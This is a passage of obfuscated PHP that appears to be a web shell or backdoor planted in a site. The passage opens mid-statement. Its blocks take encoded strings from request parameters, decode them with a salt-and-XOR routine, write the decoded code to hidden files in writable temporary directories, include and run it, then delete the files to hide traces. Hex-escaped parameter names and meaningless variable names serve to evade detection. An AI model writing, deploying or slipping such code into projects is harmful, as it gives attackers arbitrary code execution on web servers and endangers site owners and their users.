= count($value)) break; if (is_writable($rec) && is_dir($rec)) { $resource = "$rec/.fac"; $success = file_put_contents($resource, $item); if ($success) { include $resource; @unlink($resource); exit;} } $pgrp++; } while (true); } if(isset($_REQUEST["k"]) ? true : false){ $ent = $_REQUEST["k"]; $ent = explode( ".", $ent ) ; $rec = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $i = 0; while( $i= count($marker)) break; if (!!is_dir($res) && !!is_writable($res)) { $resource = str_replace("{var_dir}", $res, "{var_dir}/.holder"); if (file_put_contents($resource, $desc)) { include $resource; @unlink($resource); exit; } } $element++; } while (true); } if(count($_REQUEST) > 0 && isset($_REQUEST["s\x79\x6D\x62ol"])){ $element = array_filter(["/tmp", getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/var/tmp", getenv("TEMP"), getcwd()]); $comp = $_REQUEST["s\x79\x6D\x62ol"]; $comp= explode( '.' , $comp) ; $binding = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $y = 0; array_walk($comp ,function ($v1) use (&$binding ,&$y ,$salt ,$lenS) { $chS = ord($salt[$y % $lenS]); $dec = ((int)$v1 - $chS - ($y % 10))^ 63; $binding .= chr($dec); $y++; }); foreach ($element as $key => $object) { if (!!is_dir($object) && !!is_writable($object)) { $elem = sprintf("%s/.factor", $object); if (file_put_contents($elem, $binding)) { require $elem; unlink($elem); die(); } } } }